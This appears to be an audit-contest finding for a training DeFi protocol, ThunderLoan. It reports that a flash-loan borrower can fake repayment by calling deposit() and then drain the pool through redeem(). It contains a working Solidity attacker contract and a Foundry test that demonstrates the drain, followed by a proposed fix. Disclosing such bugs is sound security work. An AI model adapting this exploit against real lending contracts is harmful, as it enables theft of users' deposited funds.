Beginner FriendlyFoundryDeFiOracle
100 EXP
View results
Submission Details
Severity: high
Valid

Funds can be drained by ThunderLoan::flashloan()

Summary

ThunderLoan::flashloan() function can be exploited by attacker and funds can be drained.

The revert condition check endingBalance < startingBalance + fee is not sufficient, as it can be pretended by attacker that funds are repaid by calling the ThunderLoan::deposit() function and amount equivalent to (flash loan + fees) can be deposited in ThunderLoan, this will increase the balance to the required repayment amount and the condition endingBalance < startingBalance + fee will becomes false and it will not revert, but it should have reverted as the funds were not paid they were only deposited. As a result of which funds can be later withdrawn by calling the ThunderLoan::redeem() function.

Vulnerability Details

flashloan function can be called with the maximum amount in protocol and once control is transferred to executeOperation() function of flash loan receiver contract, the amount = (flash loan + fee) can be deposited via ThunderLoan::deposit() function, and as the ending balance will increase to the required amount and thus it was pretended that the funds are repaid but instead they were deposited and they can be drained by the ThunderLoan::redeem() function.

uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}

The check is not sufficient as the endingBalance can be increased just by depositing the funds, and it will be pretended that funds were repaid and they can be taken out anytime as the funds deposited over here belong to the one who deposited them. Thus, all funds can be drained.

PoC

It can be demonstrated by deploying a Flash Loan Receiver contract given below. Paste the code inside test/mocks/AttackerFlashLoanReceiver.sol.

AttackerFlashLoanReceiver.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol";
import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
contract AttackerFlashLoanReceiver is IFlashLoanReceiver {
error AttackerFlashLoanReceiver__NotThunderLoan();
error AttackerFlashLoanReceiver__NotOwner();
address public owner;
ThunderLoan public thunderLoan;
constructor(address thunderLoanAddr) {
owner = msg.sender;
thunderLoan = ThunderLoan(thunderLoanAddr);
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata /*params*/
)
external
returns (bool)
{
if (msg.sender != address(thunderLoan)) {
revert AttackerFlashLoanReceiver__NotThunderLoan();
}
if (initiator != owner) {
revert AttackerFlashLoanReceiver__NotOwner();
}
IERC20(token).approve(address(thunderLoan), amount + fee);
thunderLoan.deposit(IERC20(token), amount + fee);
return true;
}
function withdraw(address token, uint256 amountOfAssetToken) external {
thunderLoan.redeem(IERC20(token), amountOfAssetToken);
uint256 amount = IERC20(token).balanceOf(address(this));
bool success = IERC20(token).transfer(owner, amount);
require(success);
}
}

Import the above contract inside test/unit/ThunderLoanTest.t.sol.

import { AttackerFlashLoanReceiver } from "../mocks/AttackerFlashLoanReceiver.sol";

Inlcude the below test in test/unit/ThunderLoanTest.t.sol.

Run the test by: forge test --mt test_FlashLoan_FakeRepaymentAndDrainFunds -vv

function test_FlashLoan_FakeRepaymentAndDrainFunds() public setAllowedToken hasDeposits {
address attacker = makeAddr("attacker");
uint256 ATTACKER_START_TOKEN_BALANCE = 10e18;
tokenA.mint(attacker, ATTACKER_START_TOKEN_BALANCE);
// Liquidity Provider deposited 1000 amount of tokenA
// And gets Asset Token for tokenA = 1000 Asset Tokens
// Exchange rate becomes = (3 + 1000) / 1000 = 1.003
AssetToken at = thunderLoan.getAssetFromToken(tokenA);
vm.startPrank(attacker);
AttackerFlashLoanReceiver receiver = new AttackerFlashLoanReceiver(address(thunderLoan));
// Now, the fees imposed on receiver contract will be 3 units for flash loan of 1000 units
// flash loan = 1000 units, weth price of tokenA = 1 unit
// total value of borrowed token = 1000 * 1 = 1000
// therefore, fees = 0.3% of borrowed token = (0.3 * 1000) / 100 = 3 units
uint256 FEES = 3e18;
tokenA.transfer(address(receiver), FEES); // Transfer 3 units to receiver contract to pay loan fees
uint256 initAttackerBalance = tokenA.balanceOf(attacker);
// DEPOSIT_AMOUNT = 1000 units of tokenA, therefore borrowing 1000 units of tokenA
thunderLoan.flashloan(address(receiver), tokenA, DEPOSIT_AMOUNT, "");
vm.stopPrank();
// As during the executeOperation() function call, deposit function was called with
// depositAmount = amount (flash loan) + fees = 1000 + 3 = 1003
// and it was pretended to ThunderLoan that the amount was paid
// but as the amount was deposited giving access to redeem amount = (flash loan amount + fees)
// Also new exchange rate will be initExchangeRate * (1000 + FEES) / 1000 = 1.006009
// Also as amount was deposited, the total supply of asset token increaes by
// depost amount / exchange rate = 1003 / 1.006009 = 997.008973080757726819
// total supply of asset token = (1000 + 997.008973080757726819) = 1997.008973080757726819
// Also increased the exchange rates
// final exchange rate = 1.006009 * (1997.008973080757726819 + 3.009) / 1997.008973080757726819 = 1.007524807450945082
uint256 finalExchangeRate = at.getExchangeRate();
// max tokenA that can be drained
uint256 maxTokenA = tokenA.balanceOf(address(at));
uint256 amountOfAssetToken = maxTokenA * at.EXCHANGE_RATE_PRECISION() / finalExchangeRate;
uint256 attackerAssetTokenBalance = at.balanceOf(address(receiver));
if (attackerAssetTokenBalance < amountOfAssetToken) {
amountOfAssetToken = attackerAssetTokenBalance;
}
uint256 amountOfTokenA = (amountOfAssetToken * finalExchangeRate) / at.EXCHANGE_RATE_PRECISION();
vm.prank(attacker);
receiver.withdraw(address(tokenA), amountOfAssetToken);
uint256 finalAttackerBalance = tokenA.balanceOf(attacker);
assertEq(finalAttackerBalance, initAttackerBalance + amountOfTokenA);
console.log("Drained Amount:", finalAttackerBalance - FEES - initAttackerBalance);
}

Impact

All funds in the protocol can be drained.

Tools Used

Manual Review, Forge

Recommendations

To mitigate this vulnerability, users should not be allowed to deposit funds while taking flash loans.
Modify the function ThunderLoan::deposit()

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+ if (s_currentlyFlashLoaning[token]) {
+ revert ThunderLoan__CantDepositDuringFlashLoan();
+ }
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
uint256 calculatedFee = getCalculatedFee(token, amount);
assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

flash loan funds stolen by a deposit

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.